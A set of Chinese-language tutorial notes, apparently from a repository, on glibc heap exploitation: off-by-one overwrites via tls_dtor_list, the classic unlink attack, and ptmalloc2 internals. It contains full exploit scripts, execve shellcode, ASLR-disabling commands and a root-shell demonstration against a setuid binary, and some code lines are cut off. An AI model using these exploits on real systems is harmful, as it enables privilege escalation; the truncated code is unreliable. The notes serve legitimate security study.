109 | #!/usr/bin/env python
110 | import struct
111 | import sys
112 | import telnetlib
113 | import time
114 |
115 | ip = '127.0.0.1'
116 | port = 1234
117 |
118 | def conv(num): return struct.pack(" what's is off-by-one ?
7 |
8 | 其实在 stack 部分已经出现过 off by one 问题,概括而言就是:当 copy 一个字符串切目标地址的位置是在`heap`上且其源长度等于目标长度会导致字符串的尾部的`NULL`覆写下一个`chunk`的`chunk header`,这样可能会导致任意代码执行。
9 |
10 | ## 0x01 the chunk of glibc
11 |
12 | 在来回顾一下 glibc 中 malloc 的实现
13 |
14 | ```c
15 | /*
16 | This struct declaration is misleading (but accurate and necessary).
17 | It declares a "view" into memory allowing access to necessary
18 | fields at known offsets from a given base. See explanation below.
19 | */
20 |
21 | struct malloc_chunk {
22 |
23 | INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
24 | INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
25 |
26 | struct malloc_chunk* fd; /* double links -- used only if free. */
27 | struct malloc_chunk* bk;
28 |
29 | /* Only used for large blocks: pointer to next larger size. */
30 | struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
31 | struct malloc_chunk* bk_nextsize;
32 | };
33 | ```
34 | 其实看代码注释就能明白了,`perv_size`这个变量是如果前面的 chunk 是 free 的话那么这个字段就是记录着它的大小,如果不是 free 的话就是保护前一个 chunk 的数据;`size` 这个字段包含被分配的 chunk 的大小,其中最后三个 bit 分别是 P(PREV_INUSE) M(IS_MMAPPED) N(NON_MAIN_ARENA) flag 信息;`fd` 是指向同一个 bins 中下一个 chunk 的指针;`bk` 是指向同一个 bins 中前一个 chunk 的指针。
35 |
36 | # 0x10 practice
37 |
38 | ```
39 | #include
40 | #include
41 | #include
42 | #include
43 | #include
44 | #include
45 | #include
46 |
47 | #define SIZE 16
48 |
49 | int main(int argc, char* argv[])
50 | {
51 |
52 | int fd = open("./inp_file", O_RDONLY); /* [1] */
53 | if(fd == -1) {
54 | printf("File open error\n");
55 | fflush(stdout);
56 | exit(-1);
57 | }
58 |
59 | if(strlen(argv[1])>1020) { /* [2] */
60 | printf("Buffer Overflow Attempt. Exiting...\n");
61 | exit(-2);
62 | }
63 |
64 | char* tmp = malloc(20-4); /* [3] */
65 | char* p = malloc(1024-4); /* [4] */
66 | char* p2 = malloc(1024-4); /* [5] */
67 | char* p3 = malloc(1024-4); /* [6] */
68 |
69 | read(fd,tmp,SIZE); /* [7] */
70 | strcpy(p2,argv[1]); /* [8] */
71 |
72 | free(p); /* [9] */
73 | }
74 | ```
75 |
76 | 编译指令,需要注意的是在这里示例里面需要暂时关闭`ASLR`,然后下面也会重新介绍两个通用 bypass 堆上`ASLR`的技术: 信息泄漏, 暴力破解。
77 |
78 | ```shell
79 | # echo 0 > /proc/sys/kernel/randomize_va_space
80 | $ gcc -o consolidate_forward consolidate_forward.c
81 | $ sudo chown root consolidate_forward
82 | $ sudo chgrp root consolidate_forward
83 | $ sudo chmod +s consolidate_forward
84 | ```
85 |
86 | 代码中的 LINE 2 和 LINE 8 就是发生基于堆的 off by one 安全问题的关键,因为目标缓冲区和源缓冲区大小都是 1020 bytes 所有可能导致任意代码执行。
87 |
88 | > 如何构造任意代码执行?
89 |
90 | 当单个`null`覆盖掉后面 chunk(p3) 的 header 会导致任意代码执行。当 chunk p2 大小为 1020 字节时会导致单个字节的溢出,由此它的的下一个 chunk 的 p3 的头部 size 由一个有意义的字节变成被覆盖成为了 null。
91 |
92 | 任意代码执行的构造源于一个`NULL`覆盖掉 next chunk 的 chunk header ('p3'), 当 1020 字节的 chunk ('p2') 上发生由单字节导致的 overflow,那么后面的 chunk (p3)的
93 |
94 | > 为什么当前的 chunk 的头部 size 的 LSB 会由 prev_size 的 LSB 代替?
95 |
96 | `checked_request2size` 函数会把用户请求空间的大小值转化为内部的值(ptmalloc2 内部表示)由此需要的额外的空间来把 malloc_chunk 排序成线性。
97 |
98 | 在可用的尺寸的最后 3 bit 从未被使用的情况下才会发生转化,因此它可以用来存储 P,M 与 N 标志位信息。
99 |
100 | 这样的话当`malloc(1020)`来执行我们的漏洞代码,用户请求的 1020 会被转换成 `((1020 + 4 + 7) & ~7)` 1024 字节,分配 1020 字节的块的开销只有 4 字节!但是对于分配 chunk,需要大小为 8 字节的 chunk header,以便存储 prev_size 和 size informations。因此,1024 字节块的前 8 个字节将用于 chunk header,但是现在对于用户数据而言,仅剩下 1016(1024-8)字节,而不是 1020 字节。但是如上所述在 prev_size 定义中,如果分配 previous chunk('p2')已分配,那么 chunk('p3')prev_size 字段则包含用户数据。因此,位于该分配的 1024 字节块('p2')旁边的块('p3')的 prev_size 包含剩余的 4 个字节的用户数据! 这就是为什么 LSB 的大小被覆盖用单个 NULL 字节,而不是 prev_size 的原因!
101 |
102 | 堆的布局:
103 |
104 | 
105 |
106 | 注意: 上图中攻击者的数据在后面"覆写 tls_dtor_list"章节将会解释。
107 |
108 | > 如何获取任意代码执行 ?
109 |
110 | 现在我们知道了`off-by-one`错误,单个`null`字节覆写后一个 chunk p3 的 size 域的 LSB,这个单字节的`NULL`的覆写意为着 chunk p3 的 flag 被清除也就是说无论原来 chunk p2 不论原来的什么状态变成了 free。
111 |
112 | 当 p2 chunk 溢出导致之前的 chunk 变成 free 状态,这种不一致会驱使 glibc 的代码去 `unlink` 已处于被分配状态的 chunk p2。
113 |
114 | 正如这个 post 所见,因为任意四个字节的内存区域可能被攻击者写入数据所以 unlink 一个已经处于 allocated 状态的 chunk 可能会导致任意代码执行。
115 |
116 | 在这里我们可以也会看到了因为 glibc 的 GOT 强化使得 unlink 技术变得过时,尤其是因为"corrupted double linked list"使任意代码执行变的不可能,但是在 2014 年 google 的 zero team 发现一个通过 layer chunk 成功绕过"corrupted double linked list"的方法。
117 |
118 | **unlink** (checkout from glibc-2.20)
119 |
120 | ```c
121 | /* Take a chunk off a bin list */
122 | #define unlink(P, BK, FD) { \
123 | FD = P->fd; \
124 | BK = P->bk; \
125 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
126 | malloc_printerr (check_action, "corrupted double-linked list", P); \
127 | else { \
128 | FD->bk = BK; \
129 | BK->fd = FD; \
130 | if (!in_smallbin_range (P->size) \
131 | && __builtin_expect (P->fd_nextsize != NULL, 0)) { \
132 | assert (P->fd_nextsize->bk_nextsize == P); \
133 | assert (P->bk_nextsize->fd_nextsize == P); \
134 | if (FD->fd_nextsize == NULL) { \
135 | if (P->fd_nextsize == P) \
136 | FD->fd_nextsize = FD->bk_nextsize = FD; \
137 | else { \
138 | FD->fd_nextsize = P->fd_nextsize; \
139 | FD->bk_nextsize = P->bk_nextsize; \
140 | P->fd_nextsize->bk_nextsize = FD; \
141 | P->bk_nextsize->fd_nextsize = FD; \
142 | } \
143 | } else { \
144 | P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
145 | P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
146 | } \
147 | } \
148 | } \
149 | }
150 | ```
151 |
152 | 在 glibc malloc 中,主要循环双链表由 malloc_chunk 的 fd 和 bk 字段维护,而次要的循环双链表链接由 malloc_chunk 的 fd_nextsize 和 bk_nextsize 字段维护。
153 |
154 |
155 | 它看起来像损坏的双链表的加固被应用于首要(行[1])和次要的(行[4]和[5])双链表,但是次要循环双链表的加固只是一个调试断言语句(而不是像主循环双链表加固那样的一个 runtime 的检查),它一般不会在生产环境被编译。
156 | 因此,次要循环双链表加固(行[4]和[5])是没有意义,这允许我们将任意数据写入任何 4 字节存储器区域(行[6]和[7])。
157 |
158 | 仍然有较少的一些东西被清理掉,所以让我们在这里来看`unlinking`一个 large chunk 导致任意代码执行的一些细节。因为攻击者已经控制 一个已经被 free 的 large chunk。 他覆写 malloc_chunk 元素如下:
159 |
160 | * fd 应该指回一个被 free 的 chunk 的地址来绕过主双向循环链表的加固。
161 | * bk 也应该指回一个 free 的 chunk 的地址来绕过主双向循环链表的加固。
162 | * fd_next 应该指向 free_got_addr - 0x14
163 | * fd_nextsize 指向 system_addr
164 |
165 | 但是行 6 与 7 期望 fd_nextsize 与 bk_nextsize 变的可写。fd_nextsize 变的可写(因为它指向 free_got_addr - 0x14)但是 bk_nextsize 不是可写的因为它指向属于 libc.so 的地址的 system_addr。这个问题可以通过覆写 tls_dtor_list 来解决。
166 |
167 | ## Overwriting tls_dtor_list
168 |
169 | tls_dtor_list 是本地线程变量,它将在调用 exit() 期间包含函数指针列表。`__call_tls_dtors`穿过`tls_dtor_list` 与一次接着一次。因此我们可以用包含`system()`及其参数的堆的地址覆写 tls_dtors_list, `system()`将会被调用。
170 |
171 | tls_dtor_list is a thread-local variable which contains a list of function pointers to be invoked during exit(). __call_tls_dtors walks through tls_dtor_list and invokes the function one by one!! Thus if we can overwrite tls_dtor_list with a heap address which contains system and system_arg in place of func and obj of dtor_list, system() could be invoked!!
172 |
173 | 
174 |
175 | 因此现在攻击者覆写 变成 free 的 large chunk 的 malloc_chunk 元素如下:
176 | Thus now attacker overwrites, to be freed large chunk’s malloc_chunk elements as said below:
177 |
178 | * fd 应该向后指向 free chunk 的地址来绕过主双向循环链表加固。
179 | * bk 也应该向后指向 free chunk 的地址来绕过主双向循环链表加固。
180 | * fd_nextsize 应该指向 tls_dtor_list - 0x14
181 | * bk_nextsize 应该指向包含`dtor_list`元素的堆地址。
182 |
183 | - fd_nextsize 变的可写是通过是因为 tls_dtor_list 属于 libc.so 可写段,通过反汇编 `__call_tls_dtors()`发现 tls_dtor_list 地址发现在`0xb7fe86d4`.
184 | - Problem of bk_next size being writable is solved since it points to heap address.
185 | - bk_nextsize 变的可写问题通过指向 heap 地址来解决。
186 |
187 | 使用上述信息,让我们编写 exp 来攻击具有漏洞的二进制文件`consolidate_forward`.
188 |
189 | POC:
190 |
191 | ```python
192 | #exp_try.py
193 | #!/usr/bin/env python
194 | import struct
195 | from subprocess import call
196 |
197 | fd = 0x0804b418
198 | bk = 0x0804b418
199 | fd_nextsize = 0xb7fe86c0
200 | bk_nextsize = 0x804b430
201 | system = 0x4e0a86e0
202 | sh = 0x80482ce
203 |
204 | #endianess convertion
205 | def conv(num):
206 | return struct.pack(" inp_file
222 | $ python exp_try.py
223 | Calling vulnerable program
224 | sh-4.2$ id
225 | uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
226 | sh-4.2$ exit
227 | exit
228 | $
229 | ```
230 |
231 | > 为什么没有拿到 root shell?
232 |
233 | `/bin/bash`会在当 euid 不等于 uid 时候丢掉特权。我们的二进制 consolidate_forward 的 `ruid=1000` 其 `euid=0`, 所以当调用`system("/bin/bash")`时 bash 特权被丢。可以在调用`system()`之前调用`setuid(0)`,然后 `call_tls_dtors()` 一步一步调用。
234 |
235 | 完整 exp:
236 |
237 | ```python
238 | #gen_file.py
239 | #!/usr/bin/env python
240 | import struct
241 |
242 | #dtor_list
243 | setuid = 0x4e123e30
244 | setuid_arg = 0x0
245 | mp = 0x804b020
246 | nxt = 0x804b430
247 |
248 | #endianess convertion
249 | def conv(num):
250 | return struct.pack(" inp_file
287 | $ python exp.py
288 | Calling vulnerable program
289 | sh-4.2# id
290 | uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
291 | sh-4.2# exit
292 | exit
293 | $
294 | ```
295 |
296 | 我们的`off-by-one`漏洞代码是向前合并 chunk,类似的也可以向后合并。类似的`off-by-one`向后合并也是一样可以被 exploited!!
297 |
298 | ### reference
299 |
300 | [sploitfun](https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/)
301 |
--------------------------------------------------------------------------------
/chapter3/linux-x86-unlink.md:
--------------------------------------------------------------------------------
1 | # 0x00 beginning
2 |
3 | 这个 post 主要记录学习 32 位 linux 下堆溢出使用的 unlink 技术, 依赖到`ptmalloc2`那部分的知识, 实验主要取自 [^orgin], 更多理论来自 [^phrack] 与 [^internal].
4 |
5 | ## prepare
6 |
7 | 存在堆溢出的代码
8 |
9 | ```c
10 | #include
11 | #include
12 |
13 | int main( int argc, char * argv[] )
14 | {
15 | char * first, * second;
16 |
17 | /*[1]*/ first = malloc( 666 );
18 | /*[2]*/ second = malloc( 12 );
19 | if(argc!=1)
20 | /*[3]*/ strcpy( first, argv[1] );
21 | /*[4]*/ free( first );
22 | /*[5]*/ free( second );
23 | /*[6]*/ return( 0 );
24 | }
25 | ```
26 |
27 | 代码很容易读懂, 就是从命令行读取第二个参数 (argv[1]) 不加校验复制到缓冲区 first, 如果 argv[1] 所指的字符串大于 666 字节就会在堆空间发生溢出, 具体会覆盖掉下一个`chunk header`, 这可能会导任意代码执行.
28 | 图示内存布局:
29 | 
30 |
31 | # 0x10 depending
32 |
33 | 这个技术主要思路是戏弄`glibc malloc`的内存回收机制, 讲上面内存布局中的`second chunk`给`unlink`掉, 并且在`unlink`第二个`chunk`期间将会覆写 free 函数的 got 表项为 shellcode 的地址! 在成功覆写过后, 在 [5] 调用`free`时`shellcode`将会被执行, 看上面操作可以发现其核心就是在`unlink`操作上.
34 |
35 | ```c
36 | #define unlink(AV, P, BK, FD) { \
37 | FD = P->fd; \
38 | BK = P->bk; \
39 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
40 | malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
41 | else { \
42 | if (!in_smallbin_range(size))
43 | {
44 | p->fd_nextsize = NULL;
45 | p->bk_nextsize = NULL;
46 | }
47 | bck->fd = p;
48 | fwd->bk = p;
49 |
50 | set_head(p, size | PREV_INUSE);
51 | set_foot(p, size);
52 |
53 | check_free_chunk(av, p);
54 | }
55 | FD->bk = BK; \
56 | BK->fd = FD; \
57 | if (!in_smallbin_range (P->size) \
58 | && __builtin_expect (P->fd_nextsize != NULL, 0)) { \
59 | if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
60 | || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
61 | malloc_printerr (check_action, \
62 | "corrupted double-linked list (not small)", \
63 | P, AV); \
64 | if (FD->fd_nextsize == NULL) { \
65 | if (P->fd_nextsize == P) \
66 | FD->fd_nextsize = FD->bk_nextsize = FD; \
67 | else { \
68 | FD->fd_nextsize = P->fd_nextsize; \
69 | FD->bk_nextsize = P->bk_nextsize; \
70 | P->fd_nextsize->bk_nextsize = FD; \
71 | P->bk_nextsize->fd_nextsize = FD; \
72 | } \
73 | } else { \
74 | P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
75 | P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
76 | } \
77 | } \
78 | } \
79 | }
80 | ```
81 |
82 | 如果没有攻击的影响 free 函数进行如下操作
83 |
84 | ## 1) 检查 non mmapped chunk
85 |
86 | 检查`non mmapped chunk`后进行向前或者向后合并。
87 |
88 | ```c
89 | static void
90 | _int_free (mstate av, mchunkptr p, int have_lock)
91 | {
92 | ...
93 | /*
94 | Consolidate other non-mmapped chunks as they arrive.
95 | */
96 |
97 | else if (!chunk_is_mmapped(p)) {
98 | if (! have_lock) {
99 | (void)mutex_lock(&av->mutex);
100 | locked = 1;
101 | }
102 |
103 | nextchunk = chunk_at_offset(p, size);
104 |
105 | /* Lightweight tests: check whether the block is already the
106 | top block. */
107 | if (__glibc_unlikely (p == av->top))
108 | {
109 | errstr = "double free or corruption (top)";
110 | goto errout;
111 | }
112 | /* Or whether the next chunk is beyond the boundaries of the arena. */
113 | if (__builtin_expect (contiguous (av)
114 | && (char *) nextchunk
115 | >= ((char *) av->top + chunksize(av->top)), 0))
116 | {
117 | errstr = "double free or corruption (out)";
118 | goto errout;
119 | }
120 | /* Or whether the block is actually not marked used. */
121 | if (__glibc_unlikely (!prev_inuse(nextchunk)))
122 | {
123 | errstr = "double free or corruption (!prev)";
124 | goto errout;
125 | }
126 |
127 | nextsize = chunksize(nextchunk);
128 | ...
129 | ```
130 |
131 | ## 2) 向后合并
132 |
133 | ### 查看 previous chunk 是否处于 free 状态
134 |
135 | ```c
136 | static void
137 | _int_free (mstate av, mchunkptr p, int have_lock)
138 | {
139 | ...
140 | /* consolidate backward */
141 | if (!prev_inuse(p)) { // here is
142 | prevsize = p->prev_size;
143 | size += prevsize;
144 | p = chunk_at_offset(p, -((long) prevsize));
145 | unlink(av, p, bck, fwd);
146 | }
147 | ```
148 |
149 | 如果当前被释放的 chunk 的 P (PREV_INUSE) 位没有被设置,则说明前 chunk 是处于 free。在我们的例子中,previous chunk 自`first`的 P 位由是被分配出去的,因为 default chunk 前面是堆的最靠前位置被约定为分配的(即使它不存在)。
150 |
151 | ### 如果处于 free 状态则合并
152 |
153 | ```c
154 | static void
155 | _int_free (mstate av, mchunkptr p, int have_lock)
156 | {...
157 | prevsize = p->prev_size;
158 | size += prevsize;
159 | p = chunk_at_offset(p, -((long) prevsize));
160 | unlink(av, p, bck, fwd); // here is
161 | ```
162 |
163 | 也就是说,把`previous chunk`自它的`binlist`移除,把`previous chunk`的大小增加到当前的`chunk`并修改`chunk`的指针指向`previous chunk`。因为在我们的例子中`previous chunk`是被分配出去的,所以`unlink`没有被触发,这样的话当前的被释放的`first`不会被向后合并。
164 |
165 | ## 3) 向前合并
166 |
167 | ### 查看 next chunk 是否处于 free 状态
168 |
169 | ```c
170 | static void
171 | _int_free (mstate av, mchunkptr p, int have_lock)
172 | {
173 | ...
174 | /* consolidate backward */
175 | if (!prev_inuse(p)) { // here is
176 | prevsize = p->prev_size;
177 | size += prevsize;
178 | p = chunk_at_offset(p, -((long) prevsize));
179 | unlink(av, p, bck, fwd);
180 | }
181 |
182 | if (nextchunk != av->top) {
183 | /* get and clear inuse bit */
184 | nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
185 | ...
186 | ```
187 |
188 | 如果下下个`chunk`的 P 未被置位,则`next chunk`是`free`状态。靠导航到下下个`chunk`,增加当前被释放的`chunk`的空间到它的`chunk`指针,然后增加下一个`chunk`的 size 到下个`chunk`指针。在我们的例子中下下个`chunks`是被回收的,first's chunk 是一个`top chunk`而且它的`PREV_INUSE`是被置位的,这表明后面的`chunk`是即 second `chunk`不是 free 状态。
189 |
190 | ### 如果处于 free 状态则合并
191 |
192 | ```c
193 | static void
194 | _int_free (mstate av, mchunkptr p, int have_lock)
195 | {
196 | ...
197 | if (nextchunk != av->top) {
198 | /* get and clear inuse bit */
199 | nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
200 |
201 | /* consolidate forward */
202 | if (!nextinuse) {
203 | unlink(av, nextchunk, bck, fwd); // here is
204 | size += nextsize;
205 | } else
206 | clear_inuse_bit_at_offset(nextchunk, 0);
207 | ...
208 | ```
209 |
210 | `next chunk`来自它的`binlist` 把`next chunk`的空间增加到当前`chunk`中。在我们的例子中,`next chunk`是被分配出去的,因此`unlink`是不会被调用的,这个情况下当前被回收的 first `chunk`是不会像前合并的。
211 |
212 | ## 4) 合并`chunk`到`unsorted bin`
213 |
214 | ```c
215 | static void
216 | _int_free (mstate av, mchunkptr p, int have_lock)
217 | {
218 | INTERNAL_SIZE_T size; /* its size */
219 | mfastbinptr *fb; /* associated fastbin */
220 | mchunkptr nextchunk; /* next contiguous chunk */
221 | INTERNAL_SIZE_T nextsize; /* its size */
222 | int nextinuse; /* true if nextchunk is used */
223 | INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */
224 | mchunkptr bck; /* misc temp for linking */
225 | mchunkptr fwd; /* misc temp for linking */
226 | ...
227 | /*
228 | Place the chunk in unsorted chunk list. Chunks are
229 | not placed into regular bins until after they have
230 | been given one chance to be used in malloc.
231 | */
232 |
233 | bck = unsorted_chunks(av);
234 | fwd = bck->fd;
235 | if (__glibc_unlikely (fwd->bk != bck))
236 | {
237 | errstr = "free(): corrupted unsorted chunks";
238 | goto errout;
239 | }
240 | p->fd = fwd;
241 | p->bk = bck;
242 | if (!in_smallbin_range(size))
243 | {
244 | p->fd_nextsize = NULL;
245 | p->bk_nextsize = NULL;
246 | }
247 | bck->fd = p;
248 | fwd->bk = p;
249 |
250 | set_head(p, size | PREV_INUSE);
251 | set_foot(p, size);
252 |
253 | check_free_chunk(av, p);
254 | }
255 | ...
256 | ```
257 |
258 | 在上面的例子中不会有这样的合并发生。
259 |
260 | # 0x20 practice
261 |
262 | 现在在来看`strcpy( first, argv[1] )`覆写`chunk`头部的构造:
263 |
264 | >
265 | prev_size = 是个数字,因此 PREV_INUSE 不会被置位。
266 | size = -4
267 | fd = free address - 12
268 | bk = shellcode address
269 |
270 | 如果攻击顺利那么 line[4]将会进行下面的操作:
271 |
272 | >
273 | * 对`non mmapped chunks`而言可能有两种合并。
274 | * 向后合并:
275 | 1. 查看前面`previous chunk`的 free 状态:
276 | 2. 如果是 free 考虑合并:
277 | * 向前合并:
278 | 1. 向后查看`next chunk`的 free 状态:
279 | 2. 如果是 free 考虑合并:
280 |
281 | 图解示例漏洞程序在构造出来出的数据输入下的内存布局:
282 |
283 | 
284 |
285 | ## 0x21 compilation
286 |
287 | ```shell
288 | $ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
289 | ```
290 |
291 | 安装上面 shell 提供的命令行提供的参数,可以避免使用默认的安全机制有:NX,RELRO,当然 ASLR 需要手工在操作系统里面暂时关闭。
292 |
293 | ## 0x21 exploit
294 |
295 | 理解了上面 unlink 的技术的本质,开始动手写 exploit。
296 |
297 | ```c
298 | /* Program to exploit 'vuln' using unlink technique.
299 | */
300 | #include
301 | #include
302 |
303 | #define FUNCTION_POINTER ( 0x0804978c ) //Address of GOT entry for free function obtained using "objdump -R vuln".
304 | #define CODE_ADDRESS ( 0x0804a008 + 0x10 ) //Address of variable 'first' in vuln executable.
305 |
306 | #define VULNERABLE "./vuln"
307 | #define DUMMY 0xdefaced
308 | #define PREV_INUSE 0x1
309 |
310 | char shellcode[] =
311 | /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
312 | (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function.
313 | Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
314 | "\xeb\x0assppppffff"
315 | "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
316 |
317 | int main( void )
318 | {
319 | char * p;
320 | char argv1[ 680 + 1 ];
321 | char * argv[] = { VULNERABLE, argv1, NULL };
322 |
323 | p = argv1;
324 | /* the fd field of the first chunk */
325 | *( (void **)p ) = (void *)( DUMMY );
326 | p += 4;
327 | /* the bk field of the first chunk */
328 | *( (void **)p ) = (void *)( DUMMY );
329 | p += 4;
330 | /* the fd_nextsize field of the first chunk */
331 | *( (void **)p ) = (void *)( DUMMY );
332 | p += 4;
333 | /* the bk_nextsize field of the first chunk */
334 | *( (void **)p ) = (void *)( DUMMY );
335 | p += 4;
336 | /* Copy the shellcode */
337 | memcpy( p, shellcode, strlen(shellcode) );
338 | p += strlen( shellcode );
339 | /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize
340 | of first chunk */
341 | memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
342 | p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
343 | /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
344 | *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
345 | p += 4;
346 | /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
347 | *( (size_t *)p ) = (size_t)( -4 );
348 | p += 4;
349 | /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
350 | would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in
351 | second chunk's bk field (see below) */
352 | *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
353 | p += 4;
354 | /* the bk field of the second chunk. It should point to shell code address.*/
355 | *( (void **)p ) = (void *)( CODE_ADDRESS );
356 | p += 4;
357 | /* the terminating NUL character */
358 | *p = '';
359 |
360 | /* the execution of the vulnerable program */
361 | execve( argv[0], argv, NULL );
362 | return( -1 );
363 | }
364 |
365 | ```
366 |
367 | 执行上面的程序,可以看到一个新的 shell spawned!
368 |
369 | ```shell
370 |
371 | $ gcc -g -o exp exp.c
372 | ./exp
373 | $ ls
374 | cmd exp exp.c vuln vuln.c
375 | ```
376 |
377 | # 0x30 protection
378 |
379 | 如今`unlink`技术自从`glibc`提供了`GOT`加固时就已经过时了!而且在`glibc`中也增加了对于`unlink`利用的的检查。
380 |
381 | ## 0x31 double free
382 |
383 | ```c
384 | if (__glibc_unlikely (!prev_inuse(nextchunk)))
385 | {
386 | errstr = "double free or corruption (!prev)";
387 | goto errout;
388 | }
389 | ```
390 |
391 | ## 0x32 invalid next size
392 |
393 | ```c
394 | if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
395 | || __builtin_expect (nextsize >= av->system_mem, 0))
396 | {
397 | errstr = "free(): invalid next size (normal)";
398 | goto errout;
399 | }
400 | ```
401 |
402 | ## 0x33 Courrupted Double Linked list
403 |
404 | ```
405 | if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
406 | malloc_printerr (check_action, "corrupted double-linked list", P);
407 | ```
408 |
409 | ### reference
410 |
411 | [^orgin]: [Heap overflow using unlink](https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/)
412 | [^phrack]: [Volume 0x0b, Issue 0x39, Phile #0x08 of 0x12](http://phrack.org/issues/57/8.html#article)
413 | [^internal]: [linux heap internals](../media/attach/Linux Heap Internals.pdf)
414 |
--------------------------------------------------------------------------------
/chapter3/ptmalloc2.md:
--------------------------------------------------------------------------------
1 | # 0x00 introduction
2 |
3 | 这篇是对笔记是对 [^Understanding] 学习的记录, 需要预备知识 [^layout], 其余 [^freebuf1] 与 [^freebuf2] 是阿里人对他的翻译整理补充, 同时给正经的开发人员裂墙安利 [^source].
4 | 学习这个主要目的是掌握堆运作的基本流程与可能存在的问题.
5 | 这个可以为堆安全问题 (double free, unlink, use-after-free etc) 学习与分析提供基础.
6 | 其次是尝试总结出一个相对一致的内存管理模型 (这个想法来自于组内的一次分享:The GC of JAVA).
7 |
8 | 目前 C 语言主要几种堆管理机制是:
9 |
10 | * dlmalloc - General purpose allocator
11 | * ptmalloc2 - Glibc
12 | * jemalloc - freebsd and firefox
13 | * tcmalloc - Google
14 | * libumem - Solaris
15 |
16 | 在 linux 系统上`mem_strcut->start_brk`与`mm_struct->brk`分别限定了堆的起止地址, 进程可通过`malloc`,`calloc`,`realloc`,`free`,`brk`与`sbrk`来请求与释放 heap.
17 | 其中只有`brk`是唯一的系统调用, 其余的都是基于`brk`或`mmap`调用实现的.
18 |
19 | * `brk`: 这个系统调用相对简单, 仅仅是改变`mm_struct->brk`, 新申请的区域不以 0 初始化.
20 | * `mmap`:malloc 利用`mmap`调用创建私有匿名的映射段, 以 0 初始化.
21 |
22 | 在 ptmalloc2 设计时为了提高效率, 做了一点预设, 其中与`brk`和`mmap`相关的就是:
23 |
24 | * 具有长生命周期的大内存分配使用 mmap.
25 | * 特别大的内存分配总是使用 mmap.
26 | * 具有短生命周期的内存分配使用 brk, 因为用 mmap 映射匿名页, 当发生缺页异常时,kernel 为缺页分配一个新物理页并清 0, 一个 mmap 的内存块需要映射多个物理页, 导致多次清 0 操作, 很浪费系统资源, 所以引入了 mmap 分配阈值动态调整机制保证在必要的情况下才使用 mmap 分配内存.
27 |
28 | ## 0x01 the ptmalloc2's behaviour
29 |
30 | 主要利用下面代码来初步窥视 glibc 中堆得一些具体行为, 引用源码来自 glibc 2.23.
31 |
32 | ```c
33 | /* gcc mthread.c -lpthread */
34 | #include
35 | #include
36 | #include
37 | #include
38 | #include
39 |
40 | void* threadFunc(void* arg) {
41 | printf("Before malloc in thread 1\n");
42 | getchar();
43 | char* addr = (char*) malloc(1000);
44 | printf("After malloc and before free in thread 1\n");
45 | getchar();
46 | free(addr);
47 | printf("After free in thread 1\n");
48 | getchar();
49 | }
50 |
51 | int main() {
52 | pthread_t t1;
53 | void* s;
54 | int ret;
55 | char* addr;
56 |
57 | printf("Welcome to per thread arena example::%d\n",getpid());
58 | printf("Before malloc in main thread\n");
59 | getchar();
60 | addr = (char*) malloc(1000);
61 | printf("After malloc and before free in main thread\n");
62 | getchar();
63 | free(addr);
64 | printf("After free in main thread\n");
65 | getchar();
66 | ret = pthread_create(&t1, NULL, threadFunc, NULL);
67 | if(ret)
68 | {
69 | printf("Thread creation error\n");
70 | return -1;
71 | }
72 | ret = pthread_join(t1, &s);
73 | if(ret)
74 | {
75 | printf("Thread join error\n");
76 | return -1;
77 | }
78 | return 0;
79 | }
80 | ```
81 | Before malloc in main thread:
82 | 这个阶段可以看见程序是没有堆空间的 (如果有会有一个 heap 表示出来, 且那个内存区域是 rw 的权限).
83 |
84 | ```x86asm
85 | 08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
86 | 08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
87 | 0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out
88 | b7e05000-b7e07000 rw-p 00000000 00:00 0
89 | ```
90 | After malloc and before free in main thread:
